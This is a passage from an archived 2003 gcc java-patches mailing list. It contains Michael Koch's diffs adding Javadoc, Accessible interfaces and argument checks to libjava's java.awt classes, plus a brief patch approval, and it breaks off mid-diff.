to this Window from the parent's owned Window list. + * + * @exception Throwable The Exception raised by this method. + */ protected void finalize() throws Throwable { // FIXME: remove from owner's "owned window" list (Weak References) @@ -185,7 +225,7 @@ public void hide() { - // FIXME: call hide() on amy "owned" children here. + // FIXME: call hide() on any "owned" children here. super.hide(); } @@ -338,6 +378,11 @@ windowListener = AWTEventMulticaster.remove(windowListener, listener); } + /** + * Returns an array of all the window listeners registered on this window. + * + * @since 1.4 + */ public synchronized WindowListener[] getWindowListeners() { return (WindowListener[]) Index: java/awt/color/ColorSpace.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/color/ColorSpace.java,v retrieving revision 1.6 diff -b -u -r1.6 ColorSpace.java --- java/awt/color/ColorSpace.java 2 Jan 2003 00:14:23 -0000 1.6 +++ java/awt/color/ColorSpace.java 14 Jan 2003 11:32:53 -0000 @@ -131,6 +131,13 @@ return false; } + /** + * Transforms a color value assumed to be in this ColorSpace into a value in + * the default CS_sRGB color space. + * + * @exception ArrayIndexOutOfBoundsException If array length is not at least + * the number of components in this ColorSpace. + */ public abstract float[] toRGB(float[] colorvalue); public abstract float[] fromRGB(float[] rgbvalue); Index: java/awt/color/ICC_ColorSpace.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/color/ICC_ColorSpace.java,v retrieving revision 1.6 diff -b -u -r1.6 ICC_ColorSpace.java --- java/awt/color/ICC_ColorSpace.java 10 Nov 2002 00:16:42 -0000 1.6 +++ java/awt/color/ICC_ColorSpace.java 14 Jan 2003 11:32:53 -0000 @@ -81,6 +81,12 @@ */ private boolean needScaleInit; + /** + * Constructs a new ICC_ColorSpace from an ICC_Profile object. + * + * @exception IllegalArgumentException If profile is inappropriate for + * representing a ColorSpace. + */ public ICC_ColorSpace(ICC_Profile profile) { super(CS_sRGB, profile.getNumComponents()); @@ -92,24 +98,58 @@ return thisProfile; } + /** + * Transforms a color value assumed to be in this ColorSpace into a value in + * the default CS_sRGB color space. + * + * @exception ArrayIndexOutOfBoundsException If array length is not at least + * the number of components in this ColorSpace. + */ public float[] toRGB(float[] colorvalue) { + if (colorvalue.length < numComponents ()) + throw new IllegalArgumentException (); + // FIXME: Always assumes sRGB: return colorvalue; } + /** + * Transforms a color value assumed to be in the default CS_sRGB color space + * into this ColorSpace. + * + * @exception ArrayIndexOutOfBoundsException If array length is not at + * least 3. + */ public float[] fromRGB(float[] rgbvalue) { + if (rgbvalue.length < 3) + throw new IllegalArgumentException (); + // FIXME: Always assumes sRGB: return rgbvalue; } + /** + * Transforms a color value assumed to be in this ColorSpace into the + * CS_CIEXYZ conversion color space. + * + * @exception ArrayIndexOutOfBoundsException If array length is not at + * least the number of components in this ColorSpace. + */ public float[] toCIEXYZ(float[] colorvalue) { // FIXME: Not implemented throw new UnsupportedOperationException(); } + /** + * Transforms a color value assumed to be in the CS_CIEXYZ conversion color + * space into this ColorSpace. + * + * @exception ArrayIndexOutOfBoundsException If array length is not at + * least 3. + */ public float[] fromCIEXYZ(float[] colorvalue) { // FIXME: Not implemented @@ -117,6 +157,12 @@ } /** + * Returns the minimum normalized color component value for the specified + * component. + * + * @exception IllegalArgumentException If component is less than 0 or greater + * than numComponents - 1. + * * @since 1.4 */ public float getMinValue(int idx) @@ -129,6 +175,12 @@ } /** + * Returns the maximum normalized color component value for the specified + * component. + * + * @exception IllegalArgumentException If component is less than 0 or greater + * than numComponents - 1. + * * @since 1.4 */ public float getMaxValue(int idx) Index: java/awt/geom/Dimension2D.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/geom/Dimension2D.java,v retrieving revision 1.8 diff -b -u -r1.8 Dimension2D.java --- java/awt/geom/Dimension2D.java 9 Aug 2002 04:26:15 -0000 1.8 +++ java/awt/geom/Dimension2D.java 14 Jan 2003 11:32:54 -0000 @@ -86,6 +86,7 @@ * may occur. * * @param d the dimension containing the new values + * * @throws NullPointerException if d is null */ public void setSize(Dimension2D d) @@ -98,6 +99,10 @@ * as this one. * * @return the clone + * + * @exception OutOfMemoryError If there is not enough memory available. + * + * @since 1.2 */ public Object clone() { Index: java/awt/geom/GeneralPath.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/geom/GeneralPath.java,v retrieving revision 1.1 diff -b -u -r1.1 GeneralPath.java --- java/awt/geom/GeneralPath.java 9 Aug 2002 04:26:16 -0000 1.1 +++ java/awt/geom/GeneralPath.java 14 Jan 2003 11:32:54 -0000 @@ -338,6 +338,10 @@ * this one. * * @return the clone + * + * @exception OutOfMemoryError If there is not enough memory available. + * + * @since 1.2 */ public Object clone() { Index: java/awt/geom/Line2D.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/geom/Line2D.java,v retrieving revision 1.4 diff -b -u -r1.4 Line2D.java --- java/awt/geom/Line2D.java 9 Aug 2002 04:26:16 -0000 1.4 +++ java/awt/geom/Line2D.java 14 Jan 2003 11:32:55 -0000 @@ -752,6 +752,10 @@ * this one. * * @return the clone + * + * @exception OutOfMemoryError If there is not enough memory available. + * + * @since 1.2 */ public Object clone() { Index: java/awt/geom/QuadCurve2D.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/geom/QuadCurve2D.java,v retrieving revision 1.1 diff -b -u -r1.1 QuadCurve2D.java --- java/awt/geom/QuadCurve2D.java 9 Aug 2002 04:26:16 -0000 1.1 +++ java/awt/geom/QuadCurve2D.java 14 Jan 2003 11:32:55 -0000 @@ -289,6 +289,10 @@ * this one. * * @return the clone + * + * @exception OutOfMemoryError If there is not enough memory available. + * + * @since 1.2 */ public Object clone() { Index: java/awt/image/ColorModel.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/image/ColorModel.java,v retrieving revision 1.8 diff -b -u -r1.8 ColorModel.java --- java/awt/image/ColorModel.java 30 Nov 2002 04:51:11 -0000 1.8 +++ java/awt/image/ColorModel.java 14 Jan 2003 11:32:55 -0000 @@ -120,10 +120,32 @@ Buffers.smallestAppropriateTransferType(bits * 4)); } + /** + * Constructs a ColorModel that translates pixel values to + * color/alpha components. + * + * @exception IllegalArgumentException If the length of the bit array is less + * than the number of color or alpha components in this ColorModel, or if the + * transparency is not a valid value, or if the sum of the number of bits in + * bits is less than 1 or if any of the elements in bits is less than 0. + */ protected ColorModel(int pixel_bits, int[] bits, ColorSpace cspace, boolean hasAlpha, boolean isAlphaPremultiplied, int transparency, int transferType) { + int bits_sum = 0; + for (int i = 0; i < bits.length; i++) + { + if (bits [i] < 0) + throw new IllegalArgumentEception (); + + bits_sum += bits [i]; + } + + if ((bits.length < cspace.numComponents ()) + || (bits_sum < 1)) + throw new IllegalArgumentEception (); + this.pixel_bits = pixel_bits; this.bits = bits; this.cspace = cspace; Index: java/awt/image/ImageFilter.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/image/ImageFilter.java,v retrieving revision 1.1 diff -b -u -r1.1 ImageFilter.java --- java/awt/image/ImageFilter.java 24 Jan 2002 01:05:12 -0000 1.1 +++ java/awt/image/ImageFilter.java 14 Jan 2003 11:32:55 -0000 @@ -81,9 +81,18 @@ * * @see java.lang.Object#clone () */ - public Object clone() throws CloneNotSupportedException + public Object clone() { - return (super.clone()); + try + { + return super.clone(); + } + catch (CloneNotSupportedException e) + { + // This should never happen as this class implements the + // Cloneable interface. + throw new InternalError (); + } } /** --Boundary-00=_3Y/I+glML5uHnhZ-- From java-patches-return-5805-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 13:12:15 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26912 invoked by alias); 14 Jan 2003 13:12:11 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26874 invoked from network); 14 Jan 2003 13:12:07 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (195.224.55.237) by 209.249.29.67 with SMTP; 14 Jan 2003 13:12:07 -0000 Received: from cuddles.cambridge.redhat.com (vpn50-20.rdu.redhat.com [172.16.50.20]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 5B8EBABAF8; Tue, 14 Jan 2003 13:11:54 +0000 (GMT) Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h0EDCMK28299; Tue, 14 Jan 2003 13:12:22 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15908.3254.264026.380348@cuddles.cambridge.redhat.com> Date: Tue, 14 Jan 2003 13:12:22 +0000 (GMT) To: tromey@redhat.com Cc: Gcc Patch List , Java Patch List Subject: Re: Patch: avoid crash with gcj -fno-assume-compiled In-Reply-To: <87isx0c18k.fsf@fleche.redhat.com> References: <87lm1xddjd.fsf@fleche.redhat.com> <15898.44357.760630.936775@cuddles.cambridge.redhat.com> <87isx0c18k.fsf@fleche.redhat.com> Tom Tromey writes: > > Index: ChangeLog > from Tom Tromey > * class.c (make_class_data): Check that super is compiled before > building class reference to it. OK. Andrew. From java-patches-return-5806-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Jan 14 15:10:04 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19598 invoked by alias); 14 Jan 2003 15:10:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19577 invoked from network); 14 Jan 2003 15:09:58 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 209.249.29.67 with SMTP; 14 Jan 2003 15:09:58 -0000 Received: from majestix.konqueror.de (dynadsl-080-228-75-196.ewetel.net [80.228.75.196]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h0EF9hsN004277 for ; Tue, 14 Jan 2003 16:09:43 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.100]) by majestix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18YShD-0002SY-00 for ; Tue, 14 Jan 2003 16:09:43 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Re: java.awt - documentation and others - REVISED Date: Tue, 14 Jan 2003 16:08:48 +0100 User-Agent: KMail/1.5 References: <200301141236.24021.konqueror@gmx.de> In-Reply-To: <200301141236.24021.konqueror@gmx.de> MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_AgCJ+sJAi5hFvuq" Message-Id: <200301141608.49054.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_AgCJ+sJAi5hFvuq Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 14. Januar 2003 12:36 schrieb Michael Koch: > Hi list, > > I have written a "little" patch for java.awt to add some > documentation and some things more. Please review and comment. > > Michael Here a better version of the patch. Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+JCgAWSOgCCdjSDsRAne2AJ9c7bpDsYCyJ5z73GyNbhEe/B0wvgCghJct DtoV/lqkNk8wbQEbJyKwJ+A= =9vCx -----END PGP SIGNATURE----- --Boundary-00=_AgCJ+sJAi5hFvuq Content-Type: text/x-diff; charset="iso-8859-15"; name="java-awt-2.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java-awt-2.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1626 diff -b -u -r1.1626 ChangeLog --- ChangeLog 11 Jan 2003 01:17:18 -0000 1.1626 +++ ChangeLog 14 Jan 2003 15:05:24 -0000 @@ -1,3 +1,74 @@ +2003-01-14 Michael Koch + + * java/awt/Label.java + (Label): Implements javax.accessibility.Accessible; + * java/awt/List.java + (List): Implements javax.accessibility.Accessible; + * java/awt/ScrollPane.java + (ScrollPane): Implements javax.accessibility.Accessible; + * java/awt/Scrollbar.java + (Scrollbar): Implements javax.accessibility.Accessible; + * java/awt/TextComponent.java + (setCaretPosition): Throw exception, documentation added. + * java/awt/Toolkit.java: + Added some newlines in method documentations. + (createButton): Exception documentation added. + (createTextField): Exception documentation added. + (createLabel): Exception documentation added. + (createList): Exception documentation added. + (createCheckbox): Exception documentation added. + (createScrollbar): Exception documentation added. + (createScrollPane): Exception documentation added. + (createTextArea): Exception documentation added. + (createChoice): Exception documentation added. + (createFrame): Exception documentation added. + (createWindow): Exception documentation added. + (createDialog): Exception documentation added. + (createMenuBar): Exception documentation added. + (createMenu): Exception documentation added. + (createMenuItem): Exception documentation added. + (createFileDialog): Exception documentation added. + (createCheckboxMenuItem): Exception documentation added. + (loadSystemColors): Exception documentation added. + (setDynamicLayout): Exception documentation added. + (isDynamicLayoutSet): Exception documentation added. + (isDynamicLayoutActive): Exception documentation added. + (getScreenSize): Exception documentation added. + (getScreenResolution): Exception documentation added. + (getScreenInsets): Exception documentation added. + (getColorModel): Exception documentation added. + (getSystemClipboard): Exception documentation added. + (getSystemSelection): Exception documentation added. + (getMenuShortcutKeyMask): Exception documentation added. + (getSystemEventQueue): Exception documentation added. + * java/awt/Window.java: + Reindented some code. + (Window): Centralized implementation, documentation added. + (finalize): Documentation added. + (hide): Fixed typo in comment. + (getWindowListeners): Documentation added. + * java/awt/color/ColorSpace.java + (toRGB): Documentation added. + * java/awt/color/ICC_ColorSpace.java + (ICC_ColorSpace): Documentation added. + (toRGB): Throw exception, documentation added. + (fromRGB): Throw exception, documentation added. + (toCIEXYZ): Documentation added. + (fromCIEXYZ): Documentation added. + (getMinValue): Documentation added. + (getMaxValue): Documentation added. + * java/awt/geom/Dimension2D.java + (clone): Documentation added. + * java/awt/geom/GeneralPath.java + (clone): Documentation added. + * java/awt/geom/Line2D.java + (clone): Documentation added. + * java/awt/geom/QuadCurve2D.java + (clone): Documentation added. + * java/awt/image/ColorModel.java + (ColorModel): Throw exception, documentation added. + * java/awt/image/ImageFilter.java + (clone): Doesnt throw CloneNotSupportedException. 2003-01-10 Michael Koch * java/net/DatagramSocket.java Index: java/awt/Label.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Label.java,v retrieving revision 1.9 diff -b -u -r1.9 Label.java --- java/awt/Label.java 2 Jan 2003 00:14:22 -0000 1.9 +++ java/awt/Label.java 14 Jan 2003 15:06:19 -0000 @@ -40,6 +40,8 @@ import java.awt.peer.LabelPeer; import java.awt.peer.ComponentPeer; +import java.io.Serializable; +import javax.accessibility.Accessible; /** * This component is used for displaying simple text strings that cannot @@ -48,7 +50,7 @@ * @author Aaron M. Renn (arenn@urbanophile.com) * @author Tom Tromey */ -public class Label extends Component implements java.io.Serializable +public class Label extends Component implements Serializable, Accessible { /* Index: java/awt/List.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/List.java,v retrieving revision 1.9 diff -b -u -r1.9 List.java --- java/awt/List.java 5 Jan 2003 01:18:21 -0000 1.9 +++ java/awt/List.java 14 Jan 2003 15:06:19 -0000 @@ -46,13 +46,15 @@ import java.awt.peer.ListPeer; import java.awt.peer.ComponentPeer; import java.util.Vector; +import javax.accessibility.Accessible; /** * Class that implements a listbox widget * * @author Aaron M. Renn (arenn@urbanophile.com) */ -public class List extends Component implements ItemSelectable, Serializable +public class List extends Component + implements ItemSelectable, Serializable, Accessible { /* Index: java/awt/ScrollPane.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ScrollPane.java,v retrieving revision 1.6 diff -b -u -r1.6 ScrollPane.java --- java/awt/ScrollPane.java 2 Jan 2003 00:14:22 -0000 1.6 +++ java/awt/ScrollPane.java 14 Jan 2003 15:06:19 -0000 @@ -41,6 +41,8 @@ import java.awt.peer.ScrollPanePeer; import java.awt.peer.ContainerPeer; import java.awt.peer.ComponentPeer; +import java.io.Serializable; +import javax.accessibility.Accessible; /** * This widget provides a scrollable region that allows a single @@ -48,7 +50,7 @@ * * @author Aaron M. Renn (arenn@urbanophile.com) */ -public class ScrollPane extends Container implements java.io.Serializable +public class ScrollPane extends Container implements Accessible, Serializable { /* Index: java/awt/Scrollbar.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Scrollbar.java,v retrieving revision 1.9 diff -b -u -r1.9 Scrollbar.java --- java/awt/Scrollbar.java 2 Jan 2003 00:14:22 -0000 1.9 +++ java/awt/Scrollbar.java 14 Jan 2003 15:06:19 -0000 @@ -42,6 +42,8 @@ import java.awt.peer.ComponentPeer; import java.awt.event.AdjustmentListener; import java.awt.event.AdjustmentEvent; +import java.io.Serializable; +import javax.accessibility.Accessible; /** * This class implements a scrollbar widget. @@ -49,8 +51,9 @@ * @author Aaron M. Renn (arenn@urbanophile.com) * @author Tom Tromey */ -public class Scrollbar extends Component implements Adjustable, - java.io.Serializable +public class Scrollbar extends Component implements Accessible, + Adjustable, + Serializable { // FIXME: Serialization readObject/writeObject Index: java/awt/TextComponent.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/TextComponent.java,v retrieving revision 1.7 diff -b -u -r1.7 TextComponent.java --- java/awt/TextComponent.java 24 Mar 2002 22:49:26 -0000 1.7 +++ java/awt/TextComponent.java 14 Jan 2003 15:06:19 -0000 @@ -291,10 +291,18 @@ * Sets the caret position to the specified value. * * @param caretPosition The new caret position. + * + * @exception IllegalArgumentException If the value supplied for position + * is less than zero. + * + * @since 1.1 */ public synchronized void setCaretPosition(int caretPosition) { + if (caretPosition < 0) + throw new IllegalArgumentException (); + TextComponentPeer tcp = (TextComponentPeer)getPeer(); if (tcp != null) tcp.setCaretPosition(caretPosition); Index: java/awt/Toolkit.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Toolkit.java,v retrieving revision 1.17 diff -b -u -r1.17 Toolkit.java --- java/awt/Toolkit.java 16 Sep 2002 09:46:37 -0000 1.17 +++ java/awt/Toolkit.java 14 Jan 2003 15:06:20 -0000 @@ -123,7 +123,10 @@ * Creates a peer object for the specified Button. * * @param target The Button to create the peer for. + * * @return The peer for the specified Button object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract ButtonPeer createButton(Button target); @@ -132,6 +135,8 @@ * * @param target The TextField to create the peer for. * @return The peer for the specified TextField object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract TextFieldPeer createTextField(TextField target); @@ -140,6 +145,8 @@ * * @param target The Label to create the peer for. * @return The peer for the specified Label object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract LabelPeer createLabel(Label target); @@ -148,6 +155,8 @@ * * @param target The List to create the peer for. * @return The peer for the specified List object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract ListPeer createList(List target); @@ -156,6 +165,8 @@ * * @param target The Checkbox to create the peer for. * @return The peer for the specified Checkbox object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract CheckboxPeer createCheckbox(Checkbox target); @@ -164,6 +175,8 @@ * * @param target The Scrollbar to create the peer for. * @return The peer for the specified Scrollbar object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract ScrollbarPeer createScrollbar(Scrollbar target); @@ -172,6 +185,8 @@ * * @param target The ScrollPane to create the peer for. * @return The peer for the specified ScrollPane object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract ScrollPanePeer createScrollPane(ScrollPane target); @@ -180,6 +195,8 @@ * * @param target The TextArea to create the peer for. * @return The peer for the specified TextArea object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract TextAreaPeer createTextArea(TextArea target); @@ -188,6 +205,8 @@ * * @param target The Choice to create the peer for. * @return The peer for the specified Choice object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract ChoicePeer createChoice(Choice target); @@ -196,6 +215,8 @@ * * @param target The Frame to create the peer for. * @return The peer for the specified Frame object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract FramePeer createFrame(Frame target); @@ -220,6 +241,8 @@ * * @param target The Window to create the peer for. * @return The peer for the specified Window object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract WindowPeer createWindow(Window target); @@ -228,6 +251,8 @@ * * @param target The dialog to create the peer for * @return The peer for the specified font name. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract DialogPeer createDialog(Dialog target); @@ -236,6 +261,8 @@ * * @param target The MenuBar to create the peer for. * @return The peer for the specified MenuBar object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract MenuBarPeer createMenuBar(MenuBar target); @@ -244,6 +271,8 @@ * * @param target The Menu to create the peer for. * @return The peer for the specified Menu object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract MenuPeer createMenu(Menu target); @@ -252,6 +281,8 @@ * * @param target The PopupMenu to create the peer for. * @return The peer for the specified PopupMenu object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract PopupMenuPeer createPopupMenu(PopupMenu target); @@ -260,6 +291,8 @@ * * @param target The MenuItem to create the peer for. * @return The peer for the specified MenuItem object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract MenuItemPeer createMenuItem(MenuItem target); @@ -268,6 +301,8 @@ * * @param target The FileDialog to create the peer for. * @return The peer for the specified FileDialog object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract FileDialogPeer createFileDialog(FileDialog target); @@ -276,6 +311,8 @@ * * @param target The CheckboxMenuItem to create the peer for. * @return The peer for the specified CheckboxMenuItem object. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected abstract CheckboxMenuItemPeer createCheckboxMenuItem(CheckboxMenuItem target); @@ -310,6 +347,8 @@ * the interface used by the SystemColors class. * * @param colors The array to copy the system colors into. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected void loadSystemColors(int systemColors[]) { @@ -318,6 +357,8 @@ /** * @since 1.4 + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public void setDynamicLayout(boolean dynamic) { @@ -325,6 +366,8 @@ /** * @since 1.4 + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ protected boolean isDynamicLayoutSet() { @@ -333,6 +376,8 @@ /** * @since 1.4 + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public boolean isDynamicLayoutActive() { @@ -343,6 +388,8 @@ * Returns the dimensions of the screen in pixels. * * @return The dimensions of the screen in pixels. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public abstract Dimension getScreenSize(); @@ -350,10 +397,14 @@ * Returns the screen resolution in dots per square inch. * * @return The screen resolution in dots per square inch. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public abstract int getScreenResolution(); /** + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + * * @since 1.4 */ public Insets getScreenInsets(GraphicsConfiguration gc) @@ -396,6 +447,7 @@ * if the property is not set. * * @return An instance of the system default toolkit. + * * @throws AWTError If the toolkit cannot be loaded. */ public static Toolkit getDefaultToolkit() @@ -450,6 +502,7 @@ * @param height The height of the image. * @param observer The observer to receive events about the preparation * process. + * * @return true if the image is already prepared for rendering, * false otherwise. */ @@ -465,6 +518,7 @@ * @param height The height of the image. * @param observer The observer to receive events about the preparation * process. + * * @return A union of the bitmasks from * java.awt.image.ImageObserver that indicates the current * state of the imaging readying process. @@ -476,6 +530,7 @@ * Creates an image using the specified ImageProducer * * @param producer The ImageProducer to create the image from. + * * @return The created image. */ public abstract Image createImage(ImageProducer producer); @@ -485,6 +540,7 @@ * a recognized format. Supported formats vary from toolkit to toolkit. * * @param data The raw image data. + * * @return The created image. */ public Image createImage(byte[] data) @@ -500,6 +556,7 @@ * @param data The raw image data. * @param offset The offset into the data where the image data starts. * @param len The length of the image data. + * * @return The created image. */ public abstract Image createImage(byte[] data, int offset, int len); @@ -511,6 +568,7 @@ * @param frame The window initiating the print job. * @param title The print job title. * @param props The print job properties. + * * @return The requested print job, or null if the job * was cancelled. */ @@ -536,10 +594,14 @@ * Returns the system clipboard. * * @return THe system clipboard. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public abstract Clipboard getSystemClipboard(); /** + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + * * @since 1.4 */ public Clipboard getSystemSelection() @@ -553,6 +615,8 @@ * to change the default. * * @return The key mask for the menu accelerator key. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public int getMenuShortcutKeyMask() { Index: java/awt/Window.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/Window.java,v retrieving revision 1.14 diff -b -u -r1.14 Window.java --- java/awt/Window.java 9 Nov 2002 23:23:32 -0000 1.14 +++ java/awt/Window.java 14 Jan 2003 15:06:20 -0000 @@ -86,32 +86,56 @@ * parent. The window will initially be invisible. * * @param parent The owning Frame of this window. + * + * @exception IllegalArgumentException If the owner's GraphicsConfiguration + * is not from a screen device, or if owner is null; this exception is always + * thrown when GraphicsEnvironment.isHeadless returns true. */ public Window(Frame owner) { - this((Window) owner); + this (owner, owner.getGraphicsConfiguration ()); } - /** @since 1.2 */ + /** + * Initializes a new instance of Window with the specified + * parent. The window will initially be invisible. + * + * @exception IllegalArgumentException If the owner's GraphicsConfiguration + * is not from a screen device, or if owner is null; this exception is always + * thrown when GraphicsEnvironment.isHeadless returns true. + * + * @since 1.2 + */ public Window(Window owner) { - this(); + this (owner, owner.getGraphicsConfiguration ()); + } + + /** + * Initializes a new instance of Window with the specified + * parent. The window will initially be invisible. + * + * @exception IllegalArgumentException If owner is null or if gc is not from a + * screen device; this exception is always thrown when + * GraphicsEnvironment.isHeadless returns true. + * + * @since 1.3 + */ + public Window(Window owner, GraphicsConfiguration gc) + { + this (); + if (owner == null) - throw new IllegalArgumentException("owner must not be null"); + throw new IllegalArgumentException ("owner must not be null"); this.parent = owner; // FIXME: add to owner's "owned window" list //owner.owned.add(this); // this should be a weak reference - } - - /** @since 1.3 */ - public Window(Window owner, GraphicsConfiguration gc) - { - this(owner); /* FIXME: Security check SecurityManager.checkTopLevelWindow(...) + */ if (gc != null && gc.getDevice().getType() != GraphicsDevice.TYPE_RASTER_SCREEN) @@ -122,7 +146,6 @@ .getDefaultScreenDevice() .getDefaultConfiguration(); else - */ graphicsConfiguration = gc; } @@ -134,6 +157,12 @@ return super.getGraphicsConfigurationImpl(); } + /** + * Disposes of the input methods and context, and removes the WeakReference + * which formerly pointed to this Window from the parent's owned Window list. + * + * @exception Throwable The Exception raised by this method. + */ protected void finalize() throws Throwable { // FIXME: remove from owner's "owned window" list (Weak References) @@ -185,7 +214,7 @@ public void hide() { - // FIXME: call hide() on amy "owned" children here. + // FIXME: call hide() on any "owned" children here. super.hide(); } @@ -338,6 +367,11 @@ windowListener = AWTEventMulticaster.remove(windowListener, listener); } + /** + * Returns an array of all the window listeners registered on this window. + * + * @since 1.4 + */ public synchronized WindowListener[] getWindowListeners() { return (WindowListener[]) @@ -345,7 +379,16 @@ WindowListener.class); } - /** @since 1.3 */ + /** + * Returns an array of all the objects currently registered as FooListeners + * upon this Window. FooListeners are registered using the addFooListener + * method. + * + * @exception ClassCastException If listenerType doesn't specify a class or + * interface that implements java.util.EventListener. + * + * @since 1.3 + */ public EventListener[] getListeners(Class listenerType) { if (listenerType == WindowListener.class) Index: java/awt/color/ColorSpace.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/color/ColorSpace.java,v retrieving revision 1.6 diff -b -u -r1.6 ColorSpace.java --- java/awt/color/ColorSpace.java 2 Jan 2003 00:14:23 -0000 1.6 +++ java/awt/color/ColorSpace.java 14 Jan 2003 15:06:20 -0000 @@ -131,6 +131,13 @@ return false; } + /** + * Transforms a color value assumed to be in this ColorSpace into a value in + * the default CS_sRGB color space. + * + * @exception ArrayIndexOutOfBoundsException If array length is not at least + * the number of components in this ColorSpace. + */ public abstract float[] toRGB(float[] colorvalue); public abstract float[] fromRGB(float[] rgbvalue); Index: java/awt/color/ICC_ColorSpace.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/color/ICC_ColorSpace.java,v retrieving revision 1.6 diff -b -u -r1.6 ICC_ColorSpace.java --- java/awt/color/ICC_ColorSpace.java 10 Nov 2002 00:16:42 -0000 1.6 +++ java/awt/color/ICC_ColorSpace.java 14 Jan 2003 15:06:20 -0000 @@ -81,6 +81,12 @@ */ private boolean needScaleInit; + /** + * Constructs a new ICC_ColorSpace from an ICC_Profile object. + * + * @exception IllegalArgumentException If profile is inappropriate for + * representing a ColorSpace. + */ public ICC_ColorSpace(ICC_Profile profile) { super(CS_sRGB, profile.getNumComponents()); @@ -92,18 +98,45 @@ return thisProfile; } + /** + * Transforms a color value assumed to be in this ColorSpace into a value in + * the default CS_sRGB color space. + * + * @exception ArrayIndexOutOfBoundsException If array length is not at least + * the number of components in this ColorSpace. + */ public float[] toRGB(float[] colorvalue) { + if (colorvalue.length < numComponents) + throw new IllegalArgumentException (); + // FIXME: Always assumes sRGB: return colorvalue; } + /** + * Transforms a color value assumed to be in the default CS_sRGB color space + * into this ColorSpace. + * + * @exception ArrayIndexOutOfBoundsException If array length is not at + * least 3. + */ public float[] fromRGB(float[] rgbvalue) { + 